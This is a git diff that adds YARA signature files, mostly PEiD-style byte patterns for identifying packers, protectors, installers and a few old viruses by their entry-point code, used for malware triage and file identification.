+        $ = { 6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 }
+        $ = { 60 E8 ?? ?? ?? ?? 5D 50 51 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F ?? EB ?? ?? EB ?? ?? EB }  
+        $ = { 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 }
+        $ = { 31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E }
+
+    condition:
+    
+        any of them             
+}
+
+
+rule FSG
+{
+    strings: 
+        $noep1  = { 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00 }
+        $noep2  = { 33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB }
+        $noep3  = { 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 }
+        $noep4  = { 80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0 }
+        $noep5  = { BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 }    
+        $noep6  = { E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8 }
+        $noep7  = { E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8 }
+        $noep8  = { EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A }
+        $noep9  = { EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB }
+        $noep10 = { EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38 }
+        $noep11 = { EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8 }
+        $noep12 = { EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9 }
+        $noep13 = { EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4 }
+        $noep14 = { EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47 }
+        $noep15 = { 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB }
+        $noep16 = { 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 }
+        $noep17 = { 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 }
+        $noep18 = { 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 }
+        $noep19 = { 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B }
+        $noep21 = { C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77 }
+        $noep22 = { C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7 }
+        $noep23 = { 2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB }
+        $noep24 = { F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80 }
+        $noep25 = { F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68 }
+        $noep26 = { F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 }
+        $noep27 = { F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94 }
+        $noep28 = { 91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00 }
+        $noep29 = { C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B }
+        $noep30 = { C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F }
+        $noep31 = { C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 }
+        $noep32 = { D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E }
+        $noep33 = { EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D }
+        $noep34 = { 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 }
+        $noep35 = { 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 }
+        $noep36 = { 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E }
+        $noep37 = { 87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3 } 
+        
+        $ep1 = { BB D0 01 40 ?? BF ?? 10 40 ?? BE }
+        $ep2 = { EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00 }
+        $ep3 = { BB D0 01 40 ?? BF ?? 10 40 ?? BE }
+        $ep4 = { EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00 }
+        $ep5 = { BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 }
+        $ep6 = { EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 }
+        $ep7 = { EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 }
+        $ep8 = { 87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 }     
+
+    condition:
+    
+        any of ($noep*) or for any of ($ep*) : ($ at entrypoint)     
+}
+
+
+rule UPX 
+{
+    strings:
+    
+        $noep1 = { B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01 }
+        $noep2 = { 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 }
+        $noep3 = { 01 DB [0-1] 07 8B 1E 83 EE FC 11 DB [1-4] B8 01 00 00 00 01 DB }
+        $noep4 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 }
+        $noep5 = { 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB }
+        $noep6 = { FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 }
+        $noep7 = { 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 }
+        $noep8 = { FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 }
+
+        $ep1 = { 60 E8 00 00 00 00 58 83 E8 3D }
+        $ep2 = { 60 E8 00 00 00 00 83 CD FF 31 DB 5E }
+        $ep3 = { 50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD }
+        
+    condition:
+    
+        any of ($noep*) or for any of ($ep*) : ($ at entrypoint)
+}
+
diff --git a/yara-mikesxrs/unknown/undocumentedFPUAtEntryPoint.yar b/yara-mikesxrs/unknown/undocumentedFPUAtEntryPoint.yar
new file mode 100644
index 0000000..ff52b65
--- /dev/null
+++ b/yara-mikesxrs/unknown/undocumentedFPUAtEntryPoint.yar
@@ -0,0 +1,11 @@
+rule undocumentedFPUAtEntryPoint {
+strings:
+    $fpu1 = {D9 D8}
+    $fpu2 = {DF DF}
+    $fpu3 = {DF D8}
+    $fpu4 = {DC D9}
+    $fpu5 = {DF DA}
+    $fpu6 = {DF CB}
+condition:
+    (for any of ($fpu*) : ($ at entrypoint)) or $fpu2 in (entrypoint..entrypoint + 10)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/unknown/userdb_exeinfope.yara b/yara-mikesxrs/unknown/userdb_exeinfope.yara
new file mode 100644
index 0000000..284a2d5
--- /dev/null
+++ b/yara-mikesxrs/unknown/userdb_exeinfope.yara
@@ -0,0 +1,38753 @@
+rule _Nullsoft_Install_System_v20_
+{
+	meta:
+		description = "Nullsoft Install System v2.0"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+		$1 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+		$2 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _tElock_V099V10_Private__tE_
+{
+	meta:
+		description = "tElock V0.99-V1.0 Private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Microsoft_Visual_Cpp_70__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Microsoft Visual C++ 7.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 00 8B F4 89 3E 56 FF 15}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 00 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? 00 8B 46 00 A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_20__bartxt_
+{
+	meta:
+		description = "FSG 2.0 - bart/xt"
+	strings:
+		$0 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9}
+	condition:
+		$0 at entrypoint
+}
+rule __22b_Anti__xiaohui_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 2.2b Anti -> xiaohui"
+	strings:
+		$0 = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+	condition:
+		$0 at entrypoint
+}
+rule _ComProtector_10_
+{
+	meta:
+		description = "ComProtector 1.0"
+	strings:
+		$0 = {B9 00 00 BB 03 01 BF 00 01 2E 8A 07 34 B9 FE C8 C0 C0 9A 2E 88 05 2E 00 0D 2E 00 2D 47 43 E2 E9 B9 CD 01 E8 00 00 5B 83 C3 12 90 2E C0 07 A4 2E 30 0F 2E 30 2F 43 E2 F3 42 DC AC 09 94 A0 C0 6C D7 BC 2C 0F 00 A2 6B F2 0F CD 7D ED AC 89 29 99}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Keypress1212_
+{
+	meta:
+		description = "Vx: Keypress.1212"
+	strings:
+		$0 = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+	condition:
+		$0 at entrypoint
+}
+rule _E2C_by_DoP_
+{
+	meta:
+		description = "E2C by DoP"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+		$1 = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Jovian_VI_graphics_file_
+{
+	meta:
+		description = "Jovian VI graphics file"
+	strings:
+		$0 = {56 49 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Trap_115_
+{
+	meta:
+		description = "Trap 1.15"
+	strings:
+		$0 = {B9 E8 03 EB 03 90 CD 20 E2 F9 8C D1 BA 99 CB 8E D2 33 D2 8E D1 8B CA 33 D2 B9 00 05 EB 03 90 CD 20 81 F9 E2 03 74 0C 83 C1 FE 83 C2 01 EB ED EB FE CD 78 E8 0C 00 CD 21 EB 73 90 EA 00 00 FF FF EB F9 FA 66 8C E3 66 B8 00 00 01 00 8E E0 66 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Rose_Tiny_102_
+{
+	meta:
+		description = "Rose Tiny 1.02"
+	strings:
+		$0 = {EB 01 EA 06 1E 1E 52 B8 4D 30 CD 21 86 C4 3D FE 02 73 02 CD 20 52 BA EB 04 5A EB FB 9A 0E 1F E8 02 00 24 24 5A B4 09 CD 21 52 BA EB 04 5A EB FB 9A EB 02 D8 88 5A 1F FA CD 11 8B EC 8B 46 FA 05 0B 00 FF E0 81 EB 03 EA EB F0 81 46 FA 1A 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Guard_for_Win32_v500__SofProBlagoje_Ceklic_
+{
+	meta:
+		description = "PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89}
+		$1 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+		$2 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _LaunchAnywhere_v4001_
+{
+	meta:
+		description = "LaunchAnywhere v4.0.0.1"
+	strings:
+		$0 = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _RPoly_crypt_10b_from_Vaska_18032007__1906_
+{
+	meta:
+		description = "RPoly crypt 1.0b from Vaska (18.03.2007 - 19:06)"
+	strings:
+		$0 = {E8 00 00 00 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_285__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 2.85 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? 00 68 00 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_015__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 0.15 -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _bambam_V004__bedrock_
+{
+	meta:
+		description = "bambam V0.04 -> bedrock"
+	strings:
+		$0 = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PENinja_modified__pDZA_
+{
+	meta:
+		description = "PENinja modified -> +DZA"
+	strings:
+		$0 = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _Adobe_PhotoShop_Plugin_
+{
+	meta:
+		description = "Adobe PhotoShop Plugin"
+	strings:
+		$0 = {83 7C 24 08 01 75 09 8B 44 24 04 A3 00 00 00 10 B8 01 00 00 00 C2 0C 00 8D 64 24 00 8D 64 24 00 56 57 8B 74 24 0C 8B 7E 0C 83 C7 0C 83 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v134__v140b1_
+{
+	meta:
+		description = "PECompact v1.34 - v1.40b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _InstallShield_Cabinet_Archive_
+{
+	meta:
+		description = "InstallShield Cabinet Archive"
+	strings:
+		$0 = {49 53 63}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CrunchPE_Heuristic_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Crunch/PE Heuristic"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+		$1 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Mask_25_
+{
+	meta:
+		description = "Mask 2.5"
+	strings:
+		$0 = {55 57 CD 03 FC 4D 41 53 4B FD 50 FA 8B C4 F7 DC BC 01 00 94 49 FB D6 51 52 1F 52 56 B4 30 CD 21 C7 06 00 00 0D 0A C7 06 00 00 07 24 BA 00 00 B4 09 EB 00 B9 53 01 56 5D BE 00 00 56 5F B8 15 35 CD 21 06 53 BA 00 00 0E 07 B4 25 CD 21 EB 1B 05}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_WWPack32_1x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake WWPack32 1.x) -> emadicius"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v14xp_
+{
+	meta:
+		description = "PECompact v1.4x+"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0 DLL"
+	strings:
+		$0 = {24 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 24 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83}
